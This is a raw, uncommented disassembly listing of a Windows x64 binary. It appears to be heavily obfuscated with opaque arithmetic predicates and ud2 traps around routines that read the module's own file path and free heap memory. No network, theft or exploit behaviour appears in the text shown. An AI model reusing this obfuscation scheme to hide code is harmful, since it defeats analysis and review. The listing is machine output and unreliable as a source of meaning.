shr rdx, 0x3f
or edx, 0x285d4a32
mov rcx, qword [0x1415acb98]
cmp edx, 0x2009d9bb
jb 0x140178f90
xor edx, edx
mov r8, rdi
call fcn.14020ae70
nop dword [rax]
mov eax, dword [0x14159ffe0]
mov ecx, dword [0x14159ffe4]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov eax, ecx
not eax
and eax, 0x876fc08a
mov edx, ecx
and edx, 0x78903f75
imul edx, eax
mov eax, ecx
and eax, 0x876fc08a
or ecx, 0x876fc08a
imul ecx, eax
add ecx, edx
imul eax, ecx, 0x885832c6
add eax, 0xf80a5301
cmp eax, 0x38e0ff03
jb 0x140178ea0
mov ecx, 0xe8e2164d
nop word cs:[rax + rax]
mov eax, dword [0x14159ffe8]
and eax, dword [0x14159ffec]
imul rax, rcx
shr rax, 0x3e
not eax
or eax, 0x25be6b75
cmp eax, 0xdcd900ca
jb 0x140178f00
mov r9, qword [rsp + 0xa0]
cmp r9, r14
jne 0x1401796a7
mov r10, r13
nop word cs:[rax + rax]
test bl, bl
jne 0x140178f40
mov r14, qword [rsp + 0x58]
nop dword [rax]
mov eax, dword [0x14159fff0]
mov ecx, dword [0x14159fff4]
mov edx, eax
xor edx, ecx
not ecx
and ecx, eax
add ecx, ecx
sub ecx, edx
add ecx, 0x16c4dd70
cmp ecx, 0x923102c
jbe 0x140178f50
mov eax, dword [rsp + 0x68]
mov byte [rsp + 0x90], al
jmp 0x1401782a0
mov rax, qword [0x1415acb98]
jmp 0x140178e60
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x160], 0
mov eax, dword [0x14159fe40]
mov ecx, dword [0x14159fe44]
add eax, ecx
add eax, 0x273b1080
imul rax, rax, 0x7be5ff35
shr rax, 0x3d
imul eax, eax, 0x1faf076c
cmp eax, 0xcbc8aac0
ja 0x140178fc0
mov ebp, 0x200
mov eax, 2
mov qword [rsp + 0x60], rax
mov r15d, 0xffffffff
xor ebx, ebx
mov r13, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r12d, 0x8780f733
xor r14d, r14d
nop word cs:[rax + rax]
cmp rbp, 0x201
jae 0x140179050
mov eax, 0x200
mov qword [rsp + 0x68], rax
lea rsi, [rsp + 0x210]
mov rdi, rbp
jmp 0x140179194
mov eax, dword [0x14159fe4c]
xor eax, dword [0x14159fe48]
or eax, 0x4e96da52
add eax, 0x153d949e
mov ecx, eax
not ecx
or eax, 0xd2e89c28
or ecx, 0x2d0763c7
and ecx, eax
cmp ecx, 0xfe893712
ja 0x140179050
sub rbp, r14
mov rax, rbx
movabs rcx, 0x65378eee127c487b
add rax, rcx
sub rax, r14
sub rax, rcx
nop dword [rax + rax]
mov ecx, dword [0x14159fe54]
mov edx, ecx
xor edx, edx
not edx
and edx, dword [0x14159fe50]
xor edx, ecx
mov ecx, edx
not ecx
or ecx, 0xdfe9f15c
add ecx, edx
inc ecx
mov edx, ecx
not edx
and edx, 0x1656cdfd
mov r8d, ecx
and r8d, 0xe9a93202
imul r8d, edx
mov edx, ecx
and edx, 0x1656cdfd
or ecx, 0x1656cdfd
imul ecx, edx
add ecx, r8d
not ecx
or ecx, 0x5ca58713
add ecx, 0xdaea9265
jae 0x1401790a0
cmp rbp, rax
ja 0x140179381
nop word [rax + rax]
mov eax, dword [0x14159fe58]
or eax, dword [0x14159fe5c]
add eax, 0xffb8f62e
mov ecx, eax
not ecx
and ecx, 0x66066b6d
mov edx, eax
and edx, 0x99f99492
imul edx, ecx
mov ecx, eax
and ecx, 0x66066b6d
or eax, 0x66066b6d
imul eax, ecx
add eax, edx
add eax, 0xab1ab6b6
cmp rbx, r15
mov r14d, 0xffffffff
cmovb r14, rbx
mov qword [rsp + 0x160], r14
cmp eax, 0xdbd7c6d8
jbe 0x140179110
mov qword [rsp + 0x68], r14
mov rsi, qword [rsp + 0x60]
mov rdi, r14
jmp 0x140179194
xor ecx, ecx
call fcn.14020bc80
xor ecx, ecx
mov rdx, rsi
mov r8d, edi
call fcn.14020d1e0
mov eax, dword [0x14159fe78]
mov ecx, dword [0x14159fe7c]
mov edx, eax
xor edx, ecx
not edx
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov r15d, ecx
and r15d, 0x18f796b
and ecx, 0x1807162
add ecx, ecx
sub r15d, ecx
add r15d, 0x298073e6
not r15d
or r15d, 0xcb11c1b6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov rdx, rsi
mov r8d, edi
call r13
cmp r15d, 0x93aa2e9d
jb 0x140179180
mov ebp, eax
test eax, eax
mov r15d, 0xffffffff
jne 0x140179269
call sub.KERNEL32.dll_GetLastError
nop word cs:[rax + rax]
mov ecx, dword [0x14159fe80]
mov edx, dword [0x14159fe84]
mov r8d, edx
not r8d
mov r9d, ecx
and r9d, r8d
or r8d, ecx
not r8d
imul r8d, r9d
mov r9d, ecx
and r9d, edx
or ecx, edx
imul ecx, r9d
add ecx, r8d
add ecx, 0x84f28824
mov edx, ecx
xor edx, 0xc7576610
and ecx, 0x38a899ef
add ecx, ecx
sub ecx, edx
cmp ecx, 0x341a6704
je 0x140179210
test eax, eax
jne 0x1401794f4
mov ebp, ebp
nop dword [rax + rax]
mov eax, dword [0x14159feb0]
and eax, dword [0x14159feb4]
or eax, 0x72e4a9a4
imul eax, eax, 0xe2a54419
mov ecx, eax
not ecx
and ecx, 0xba876083
and eax, 0x45789f7c
sub eax, ecx
cmp eax, 0x609e7c11
ja 0x140179270
cmp rdi, rbp
jne 0x140179340
nop dword [rax + rax]
mov esi, dword [0x14159feb8]
sub esi, dword [0x14159febc]
imul rsi, r12
shr rsi, 0x3f
add esi, 0xc3fd9ce5
not esi
and esi, 0x8004303
call sub.KERNEL32.dll_GetLastError
cmp esi, 0xf9c0117a
ja 0x1401792b0
cmp eax, 0x7a
jne 0x14017d2c6
lea rax, [rdi + rdi]
nop dword [rax]
mov ecx, dword [0x14159fec8]
xor ecx, dword [0x14159fecc]
or ecx, 0x3c3904b3
imul rdx, rcx, 0x21c5f2b
shr rdx, 0x20
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
or ecx, 0x2b108976
cmp rdi, 0x7fffffff
mov rbp, rax
cmova rbp, r15
cmp ecx, 0x90154fc0
ja 0x1401792f0
jmp 0x140179020
mov eax, dword [0x14159fec0]
mov ecx, dword [0x14159fec4]
mov edx, eax
xor edx, ecx
not ecx
and ecx, eax
add ecx, ecx
sub ecx, edx
add ecx, 0xfc0624b
mov eax, ecx
xor eax, 0x70434579
and eax, ecx
and eax, 0x707f45fb
cmp eax, 0x756b335d
ja 0x140179340
cmp rdi, rbp
jb 0x140179020
jmp 0x14017947d
mov eax, dword [0x14159fe60]
mov ecx, dword [0x14159fe64]
mov edx, eax
not edx
mov r8d, ecx
not r8d
mov r9d, edx
and r9d, 0x4a0f4f7d
and eax, 0xb5f0b082
or eax, r9d
or edx, r8d
and r8d, 0x4a0f4f7d
and ecx, 0xb5f0b082
or ecx, r8d
xor ecx, eax
not edx
or edx, ecx
imul eax, edx, 0x9f5ba942
not eax
or eax, 0x4cf119c
xor eax, 0xd39fe7b9
cmp eax, 0xcf852ebe
lea rdi, [rsp + 0x150]
jae 0x1401793f1
mov rcx, rdi
mov rdx, r14
mov r8, rbp
call fcn.140238e30
mov eax, dword [0x14159fe68]
mov esi, dword [0x14159fe6c]
mov ecx, esi
not ecx
and ecx, eax
xor esi, eax
add esi, eax
sub esi, ecx
not esi
mov eax, esi
or eax, 0xf78cf3e2
or esi, 0xffeefffa
sub esi, eax
xor esi, 0xd774a23d
mov rcx, rdi
mov rdx, r14
mov r8, rbp
call fcn.140238e30
cmp esi, 0x220f1069
jb 0x1401793e3
nop word cs:[rax + rax]
mov eax, dword [0x14159fe70]
sub eax, dword [0x14159fe74]
or eax, 0xc54616cf
imul eax, eax, 0x94b94379
and eax, 0x86e8b993
cmp eax, 0xffcc83a2
ja 0x140179440
mov rbx, qword [rsp + 0x150]
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x60], rax
jmp 0x140179110
cmp qword [rsp + 0x68], rbp
jb 0x140179ae7
lea rcx, [rsp + 0xa0]
mov rdx, rsi
mov r8, rbp
call fcn.14013f9c0
test rbx, rbx
movabs r15, 0x8000000000000000
mov r12, qword [rsp + 0x80]
mov r14, qword [rsp + 0x60]
je 0x14017a020
mov eax, dword [0x14159fed0]
mov ecx, dword [0x14159fed4]
mov edx, eax
xor edx, ecx
not edx
and edx, ecx
add edx, edx
sub ecx, edx
add eax, ecx
add eax, 0xb57b54f0
or eax, 0x43b39398
add eax, 0x5f464075
cmp eax, 0xb4de6b95
jb 0x140179fc6
jmp 0x140179f8a
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0xa8], rax
movabs r15, 0x8000000000000000
mov qword [rsp + 0xa0], r15
test rbx, rbx
mov r12, qword [rsp + 0x80]
je 0x140179640
mov eax, dword [0x14159fe88]
xor eax, dword [0x14159fe8c]
imul eax, eax, 0x71044dba
mov ecx, 0x8ad1ace1
imul rcx, rax
shr rcx, 0x3f
add ecx, 0xe3131b67
cmp ecx, 0xf3e70cf8
jbe 0x140179560
mov rax, qword [0x1415acb98]
mov rsi, qword [0x1415acb98]
mov eax, dword [0x14159fe90]
or eax, dword [0x14159fe94]
add eax, 0x641b86fb
mov ecx, eax
and ecx, 0x76493989
add ecx, ecx
sub eax, ecx
add eax, 0x76493989
cmp eax, 0x8874742a
mov rbx, qword [rsp + 0x60]
jbe 0x1401795b0
mov rcx, rsi
xor edx, edx
mov r8, rbx
call fcn.14020ae70
nop word cs:[rax + rax]
mov eax, dword [0x14159fe98]
mov ecx, dword [0x14159fe9c]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7878b390
and ecx, 0x87874c6f
imul ecx, edx
mov edx, eax
and edx, 0x87874c6f
or eax, 0x87874c6f
imul eax, edx
add eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xca78d0c3
and ecx, 0x35872f3c
imul ecx, edx
mov edx, eax
and edx, 0x35872f3c
or eax, 0x35872f3c
imul eax, edx
add eax, ecx
mov edi, eax
not edi
or eax, 0xa33627d3
or edi, 0x5cc9d82c
and edi, eax
mov rcx, rsi
xor edx, edx
mov r8, rbx
call fcn.14020ae70
cmp edi, 0x79435e86
je 0x1401795b0
nop dword [rax]
mov eax, dword [0x14159fea0]
or eax, dword [0x14159fea4]
add eax, 0x5e5c596
mov ecx, eax
and ecx, 0x946db00
add ecx, ecx
sub eax, ecx
add eax, 0x946db00
mov ecx, eax
not ecx
and ecx, 0x816774de
and eax, 0x7e988b21
sub eax, ecx
cmp eax, 0x787db47a
je 0x140179640
nop word [rax + rax]
mov eax, dword [0x14159fea8]
or eax, dword [0x14159feac]
add eax, 0xf9138ca5
or eax, 0x54ed3e33
add eax, 0xb5fa3ea7
cmp eax, 0xe0e70d03
jae 0x140179680
jmp 0x14017a050
mov rdi, qword [rsp + 0xa8]
mov r15, qword [rsp + 0xb0]
jmp 0x14017a794
xor r9d, r9d
mov eax, dword [0x14159fda0]
xor edx, edx
div dword [0x14159fda4]
imul rax, rax, 0x6fa2a463
shr rax, 0x3e
or eax, 0xd7c22900
xor eax, 0x5317aa6e
add eax, 0xa6045001
cmp eax, 0xcc8eda31
ja 0x1401796bf
mov rax, r8
test rcx, rcx
cmovne r9, rcx
test r9, r9
je 0x140179912
nop word cs:[rax + rax]
mov r10d, dword [0x14159fda8]
add r10d, dword [0x14159fdac]
or r10d, 0x236817b5
add r10d, 0x27237de0
mov edx, r10d
not edx
mov r11d, r10d
and r11d, 0x2b1ef982
and edx, 0xd4a10048
imul edx, r11d
mov r11d, r10d
and r11d, 0xd4a1045d
or r10d, 0xd4a1045d
imul r10d, r11d
add r10d, edx
test rcx, rcx
mov rdx, rax
cmove rdx, r8
cmp r10d, 0xa7a331c
je 0x140179710
add r9, rdx
mov rcx, r9
not rcx
and rcx, rsi
mov rax, rsi
not rax
and rax, r9
sub rax, rcx
nop dword [rax + rax]
mov ecx, dword [0x14159fdb0]
mov edx, dword [0x14159fdb4]
mov r8d, ecx
and r8d, edx
add r8d, r8d
add ecx, edx
sub ecx, r8d
not ecx
or ecx, 0xcafbdf3b
mov edx, ecx
not edx
xor ecx, 0xa384b492
or edx, 0x21042080
and edx, ecx
mov ecx, edx
xor ecx, 0x65facadc
add ecx, edx
and edx, 0x10042000
sub ecx, edx
cmp ecx, 0xfc697852
je 0x140179790
cmp r9, rsi
je 0x14017990f
cmp rbx, rax
jbe 0x14017989b
mov ecx, dword [0x14159fdb8]
mov edx, dword [0x14159fdbc]
mov r8d, edx
not r8d
mov r9d, ecx
and r9d, r8d
or r8d, ecx
not r8d
imul r8d, r9d
mov r9d, ecx
and r9d, edx
or ecx, edx
imul ecx, r9d
add ecx, r8d
imul ecx, ecx, 0x1c842666
mov edx, ecx
and edx, 0x62c39ea0
add edx, edx
neg edx
add ecx, edx
add ecx, 0xe2c39ea0
mov edx, ecx
xor edx, 0xa87c8048
and edx, ecx
cmp edx, 0x2528fd26
je 0x1401797f0
movzx ecx, byte [rsi + rax]
mov edx, dword [0x14159fdc0]
mov r8d, dword [0x14159fdc4]
mov r9d, edx
not r9d
and r9d, r8d
not r8d
and r8d, edx
sub r8d, r9d
or r8d, 0x5b75e91f
add r8d, 0x90fae893
not r8d
or r8d, 0x1d73eec2
cmp r8d, 0xc9b73aaa
ja 0x140179851
cmp cl, 0xbf
jg 0x14017990a
jmp 0x14017d2c6
mov ecx, dword [0x14159fdc8]
mov edx, dword [0x14159fdcc]
mov r8d, edx
and r8d, ecx
add ecx, edx
sub ecx, r8d
mov edx, ecx
not edx
or edx, 0x50b11450
and ecx, 0xc0cc809
xor edx, 0xa3e227b6
lea ecx, [rdx + rcx*2]
mov edx, ecx
not edx
mov r8d, ecx
and r8d, 0xf328b23a
and edx, 0xc574dc5
imul edx, r8d
mov r8d, ecx
and r8d, 0xc574dc5
or ecx, 0xc574dc5
imul ecx, r8d
add ecx, edx
cmp ecx, 0x43bb6039
jb 0x14017989b
cmp rbx, rax
jne 0x14017d2c6
cmp rbx, rax
jb 0x140179912
mov rbx, rax
mov eax, dword [0x14159fdd0]
xor edx, edx
div dword [0x14159fdd4]
xor eax, 0xe2bf93cb
mov ecx, 0xaeed662f
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0xd92b06bd
jbe 0x14017994d
lea rcx, [rsp + 0xa0]
mov rdx, rsi
mov r8, rbx
call fcn.140148cb0
lea rdi, [rsp + 0xa0]
nop word cs:[rax + rax]
mov eax, dword [0x14159fdd8]
mov ebp, dword [0x14159fddc]
mov ecx, eax
xor ecx, ebp
not ebp
and ebp, eax
add ebp, ebp
sub ebp, ecx
add ebp, 0x46a4f693
mov eax, ebp
xor eax, 0x196e2f9e
and ebp, 0x6691d061
add ebp, ebp
sub ebp, eax
add ebp, 0x232fafb7
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140148cb0
cmp ebp, 0xc4fb41b2
ja 0x140179960
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
cmp rcx, r14
jne 0x1401799f8
mov ecx, dword [0x14159fde0]
sub ecx, dword [0x14159fde4]
add ecx, 0x14820c72
mov edx, ecx
and edx, 0x353b960a
add edx, edx
sub ecx, edx
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1b0], r14
cmp ecx, 0x72ff6ba7
je 0x1401799c0
jmp 0x140179a30
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x210], rcx
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], rdx
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x210]
call fcn.14018f590
nop dword [rax]
mov eax, dword [0x14159fde8]
xor eax, dword [0x14159fdec]
imul eax, eax, 0xe46bd96f
mov ecx, eax
not ecx
or ecx, 0x923c8e43
add eax, ecx
inc eax
xor eax, 0xd8c5be9b
cmp eax, 0x19f00d04
jb 0x140179a30
nop dword [rax]
mov eax, dword [0x14159fdf0]
sub eax, dword [0x14159fdf4]
and eax, 0x3350c4e1
add eax, 0x5d7cd83f
mov ecx, eax
xor ecx, 0x24481ccc
and eax, 0x5bb5c133
add eax, eax
sub eax, ecx
cmp eax, 0x1b76506a
jb 0x140179a60
nop
mov eax, dword [0x14159fdf8]
or eax, dword [0x14159fdfc]
add eax, 0xf9ffd75a
xor eax, 0xd2180aad
cmp eax, 0xaf2484da
ja 0x140179a90
jmp 0x14017a7a1
ud2
ud2
mov eax, dword [0x14159fab8]
and eax, dword [0x14159fabc]
add eax, 0xfdd0e6bb
mov ecx, eax
xor ecx, 0xedde3a80
and ecx, eax
cmp ecx, 0x71550fc9
jbe 0x14017d2c6
ud2
call fcn.14014b600
mov eax, dword [0x14159fb18]
mov ecx, dword [0x14159fb1c]
mov edx, ecx
not edx
and edx, eax
xor ecx, eax
add ecx, eax
sub ecx, edx
or ecx, 0x19234d21
imul rax, rcx, 0x1d07958b
shr rax, 0x3a
imul eax, eax, 0xfc27158f
cmp eax, 0xe049142d
je 0x140179eb4
jmp 0x140179e6b
mov eax, dword [0x14159fa88]
xor edx, edx
div dword [0x14159fa8c]
mov ecx, eax
xor ecx, 0xdf50c3cb
and eax, 0x20af3c34
add eax, eax
sub eax, ecx
xor eax, 0xc155f139
add eax, 0x538c82d4
cmp eax, 0x48ce5f5d
jbe 0x140179bf0
ud2
mov eax, dword [0x14159fa90]
xor edx, edx
div dword [0x14159fa94]
or eax, 0x42d04000
and eax, 0xcbfc5130
xor eax, 0x592b8b88
ud2
mov eax, dword [0x14159fac0]
and eax, dword [0x14159fac4]
add eax, 0xd1b8699b
mov ecx, eax
and ecx, 0x7c45af73
add ecx, ecx
sub eax, ecx
cmp eax, 0xf812d20b
jne 0x140179c90
ud2
mov eax, dword [0x14159fac8]
mov ecx, dword [0x14159facc]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
mov ecx, eax
xor ecx, 0x150154d0
xor eax, 0xaabcab0f
or ecx, 0x4a7e8821
and ecx, eax
ud2
mov eax, dword [0x14159f9b8]
imul eax, dword [0x14159f9bc]
or eax, 0x7f3280d
imul eax, eax, 0xfa10a3ec
add eax, 0x4c5c9048
cmp eax, 0xd04b64b0
jbe 0x140179cf0
ud2
mov eax, dword [0x14159f9c0]
sub eax, dword [0x14159f9c4]
imul rax, rax, 0x4eb13027
shr rax, 0x3e
lea ecx, [rax - 0x4166caae]
xor ecx, 0x41a3c7f7
or ecx, eax
ud2
mov eax, dword [0x14159fb90]
imul eax, dword [0x14159fb94]
and eax, 0xa664b0a0
add eax, 0x61d9428c
xor eax, 0x13fbb98e
cmp eax, 0x728d34b2
jae 0x140179d90
ud2
mov eax, dword [0x14159fb98]
and eax, dword [0x14159fb9c]
or eax, 0xd9480905
and eax, 0xf95bdbbd
add eax, 0xd4057613
ud2
call fcn.14014b600
mov eax, dword [0x14159f948]
mov ecx, dword [0x14159f94c]
mov edx, eax
xor edx, ecx
not edx
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x1eb5b53b
add eax, eax
sub ecx, eax
add ecx, 0x1eb5b53b
xor ecx, 0x181089a7
add ecx, 0x97b13405
ud2
mov eax, dword [str.Bv7]
mov ecx, dword [0x14159fcf4]
not eax
not ecx
or ecx, eax
not ecx
or ecx, 0xfe9ecffd
add ecx, 0x6188b964
cmp ecx, 0xdda4e474
ja 0x14017d2ff
jmp 0x14017d2c8
xor eax, eax
ud2
mov eax, dword [0x14159fb20]
mov ecx, dword [0x14159fb24]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
add eax, 0x48a73142
mov ecx, eax
and ecx, 0x5ce71088
add ecx, ecx
sub eax, ecx
ud2
ud2
mov ecx, dword [0x14159fd50]
mov edx, ecx
not edx
or edx, dword [0x14159fd54]
add ecx, edx
inc ecx
mov edx, ecx
xor edx, 0x29000854
xor ecx, 0x9a0a4706
or ecx, 0x308020
and ecx, 0x80378629
and edx, 0x2d8819d4
sub edx, ecx
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1b0], r14
cmp edx, 0xd4df6cf7
jbe 0x140179f20
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1b0], r14
jmp 0x140179eb8
mov eax, dword [str.ubP]
sub eax, dword [0x14159fd5c]
imul eax, eax, 0xf07b1e26
add eax, 0x85414502
mov ecx, eax
and ecx, 0x75c53bb4
add ecx, ecx
sub eax, ecx
add eax, 0xf5c53bb5
cmp eax, 0x75b83a6b
jb 0x140179f20
nop
mov eax, dword [0x14159fd60]
and eax, dword [0x14159fd64]
imul rax, rax, 0x576059dd
shr rax, 0x3e
imul eax, eax, 0x6bdfa479
mov ecx, eax
not ecx
and ecx, 0x806ca03e
and eax, 0x7f935fc1
sub eax, ecx
cmp eax, 0xb74f424a
je 0x140179f50
jmp 0x14017a870
mov eax, dword [0x14159fed8]
mov ecx, dword [0x14159fedc]
mov edx, eax
not edx
and eax, ecx
not ecx
and ecx, edx
not eax
not ecx
and ecx, eax
mov eax, 0xbf9208a1
imul rax, rcx
shr rax, 0x3e
add eax, 0xbab0ff96
mov rsi, qword [0x1415acb98]
cmp eax, 0xeb841219
jbe 0x140179fcf
mov rax, qword [0x1415acb98]
jmp 0x140179f8a
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x14159fee0]
mov ecx, dword [0x14159fee4]
mov edx, eax
and edx, ecx
add edx, edx
add eax, ecx
sub eax, edx
mov ebx, eax
not ebx
or eax, 0xee4be2a2
or ebx, 0x11b41d5d
and ebx, eax
mov rcx, rsi
xor edx, edx
mov r8, r14
call rdi
cmp ebx, 0x2873fd45
je 0x140179fe0
nop dword [rax]
mov eax, dword [0x14159fee8]
sub eax, dword [0x14159feec]
mov ecx, eax
or ecx, 0xe205f717
xor ecx, 0x69c163a7
or eax, 0x963e9c58
and eax, ecx
add eax, 0x913f87e
cmp eax, 0x99066142
ja 0x14017a020
nop dword [rax]
mov eax, dword [0x14159fef8]
imul eax, dword [0x14159fefc]
add eax, 0xaf8a1f57
imul rax, rax, 0x3db454b
shr rax, 0x39
add eax, 0x965d932d
cmp eax, 0x6f61eadb
jb 0x14017a050
mov rbx, qword [rsp + 0xa0]
nop word cs:[rax + rax]
mov eax, dword [0x14159ff00]
or eax, dword [0x14159ff04]
mov ecx, eax
not ecx
and ecx, 0xb03ac96a
and eax, 0x4fc53695
sub eax, ecx
mov ecx, eax
not ecx
or eax, 0x55ebde71
or ecx, 0xaa14218e
and ecx, eax
mov eax, ecx
not eax
and ecx, 0x776892fc
mov edx, eax
and edx, 0x88976d03
imul edx, ecx
mov ecx, eax
and ecx, 0x776892fc
or eax, 0x776892fc
imul eax, ecx
add eax, edx
cmp eax, 0x211d6b4f
jb 0x14017a090
mov rdi, qword [rsp + 0xa8]
cmp rbx, r15
jne 0x14017a240
nop dword [rax]
mov eax, dword [0x1415a0078]
sub eax, dword [0x1415a007c]
or eax, 0xae9a095b
mov ecx, eax
not ecx
and ecx, 0x485ae96a
and eax, 0xb7a51695
sub eax, ecx
add eax, 0x2665f03e
cmp eax, 0xef0318b6
ja 0x14017a100
mov r15d, 0xffffffff
nop word cs:[rax + rax]
mov eax, dword [0x1415a0080]
sub eax, dword [0x1415a0084]
xor eax, 0x12200214
or eax, 0x2cc7094a
mov ecx, eax
xor ecx, 0x7dfd9e7c
and eax, 0x2026183
add eax, eax
sub eax, ecx
cmp eax, 0x49e35108
jb 0x14017a140
mov eax, edi
and eax, 3
cmp rax, 2
jg 0x14017a3b0
cmp eax, 1
jne 0x140180db0
lea rsi, [rdi - 1]
mov eax, dword [0x1415a0090]
mov ecx, dword [0x1415a0094]
mov edx, eax
and edx, ecx
add edx, edx
add eax, ecx
sub eax, edx
xor eax, 0x676cc6ce
imul eax, eax, 0xd0f3ac59
cmp eax, 0x2bc1cf0a
je 0x14017a18a
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov r14, qword [rdi]
test r14, r14
je 0x140180ba9
mov eax, dword [0x1415a0098]
mov ecx, dword [0x1415a009c]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
mov ecx, eax
xor ecx, 0x30f555f6
and ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x14f28840
and eax, 0xeb0d77bf
imul eax, edx
mov edx, ecx
and edx, 0xeb0d77bf
or ecx, 0xeb0d77bf
imul ecx, edx
add ecx, eax
or ecx, 0x5cab1e94
cmp ecx, 0x7d43058c
ja 0x140180ba1
jmp 0x140180b6c
mov eax, dword [0x14159fff8]
mov ecx, dword [0x14159fffc]
xor ecx, eax
not ecx
and ecx, eax
mov eax, ecx
not eax
and eax, 0x895cedf
and ecx, 0x76a3120
sub ecx, eax
mov eax, ecx
and eax, 0x972f000
and ecx, 0x206000
sub eax, ecx
add eax, 0x56a06db1
cmp eax, 0xcffb1c42
ja 0x14017a240
mov rsi, qword [rsp + 0xb0]
mov r14, qword [rsp + 0xb8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401632a0
test rax, rax
je 0x14017a47e
mov rcx, rdx
test rdx, rdx
je 0x14017a456
mov eax, dword [str.B___]
xor eax, dword [0x1415a0004]
mov edx, eax
and edx, 0x6d12481a
or eax, 0x6d12481a
add eax, edx
mov edx, eax
xor edx, 0xc87003c
or eax, 0xf378ffc3
and eax, edx
add eax, 0xf6a18454
cmp eax, 0x82126cbd
ja 0x14017a2ae
mov eax, dword [0x1415a0008]
add eax, dword [0x1415a000c]
mov edx, eax
xor edx, 0x19f19131
or eax, 0xe60e6ece
and eax, edx
add eax, 0xd3d3f7e0
xor eax, 0xc3c8a3ec
cmp eax, 0x1004b733
jb 0x14017a2e4
cmp rsi, rcx
jbe 0x14017a419
mov eax, 0xa8252709
mov edx, dword [0x1415a001c]
add edx, dword [0x1415a0018]
imul rdx, rax
shr rdx, 0x3f
imul edx, edx, 0x37f764ed
cmp edx, 0xccd0b12d
je 0x14017a31e
movzx r8d, byte [rdi + rcx]
mov eax, dword [0x1415a0020]
xor edx, edx
div dword [0x1415a0024]
add eax, 0x185ac2a
cmp eax, 0x5787eeea
ja 0x14017a345
cmp r8b, 0xbf
jg 0x14017a451
mov eax, dword [0x1415a0030]
or eax, dword [0x1415a0034]
imul rax, rax, 0x5ec302bb
shr rax, 0x3d
add eax, 0xb1881746
mov ecx, eax
and ecx, 0x1188120d
add ecx, ecx
sub eax, ecx
cmp eax, 0xa5f5ff16
je 0x140179b6c
jmp 0x14017d2c6
mov eax, dword [0x1415a0088]
mov ecx, dword [0x1415a008c]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
add eax, 0xe388c8a8
mov ecx, eax
not ecx
and ecx, 0x78d993e9
mov edx, eax
and edx, 0x87266c16
imul edx, ecx
mov ecx, eax
and ecx, 0x78d993e9
or eax, 0x78d993e9
imul eax, ecx
add eax, edx
and eax, 0xe687b205
cmp eax, 0x64a102aa
jb 0x14017a3b0
jmp 0x140180db0
mov eax, dword [0x1415a0028]
sub eax, dword [0x1415a002c]
mov edx, eax
not edx
or edx, 0x3c79cf08
add edx, eax
imul eax, edx, 0xaa44d261
add eax, 0xaa44d261
xor eax, 0x4c4e36d1
cmp eax, 0x60f6e207
je 0x14017a419
cmp rsi, rcx
jne 0x14017a369
cmp rsi, rcx
jb 0x14017a47e
mov eax, dword [0x1415a0010]
xor edx, edx
div dword [0x1415a0014]
imul eax, eax, 0x315903a3
add eax, 0x7a99df83
xor eax, 0xb970c1d
cmp eax, 0x4d212a96
je 0x14017a456
mov rsi, rcx
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], rdi
mov qword [rsp + 0x220], rsi
mov qword [rsp + 0x228], r14
lea rcx, [rsp + 0x210]
mov rdx, qword [rsp + 0x88]
mov r8, r12
call fcn.140158730
cmp qword [rsp + 0x148], 1
je 0x14017a500
lea rcx, [rsp + 0x210]
call fcn.14020d100
nop
mov eax, dword [0x1415a0038]
imul eax, dword [0x1415a003c]
mov ecx, eax
or ecx, 0xa08450c2
not eax
and eax, 0x480a0d24
and ecx, 0xb5b5f2db
or ecx, eax
cmp ecx, 0x64fbbd2e
je 0x14017a4d0
nop dword [rax]
mov eax, dword [0x1415a0040]
mov ecx, dword [0x1415a0044]
mov edx, eax
not edx
and edx, ecx
not edx
not ecx
and ecx, eax
not ecx
and ecx, edx
mov eax, ecx
not eax
and ecx, 0x1cea8b08
mov edx, eax
and edx, 0xe31574f7
imul edx, ecx
mov ecx, eax
and ecx, 0x1cea8b08
or eax, 0x1cea8b08
imul eax, ecx
add eax, edx
imul eax, eax, 0x5debaea7
and eax, 0xa2b7ac40
cmp eax, 0x764529ee
ja 0x14017a500
mov rsi, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
lea rcx, [rsp + 0x150]
mov rdx, rsi
call fcn.14020d120
cmp qword [rsp + 0x210], 0
jne 0x14017a597
jmp 0x14017a650
mov rax, qword [0x1415acb98]
mov eax, dword [str.b__n]
and eax, dword [0x1415a004c]
mov ecx, eax
xor ecx, 0x8a958f23
or eax, 0x756a70dc
and eax, ecx
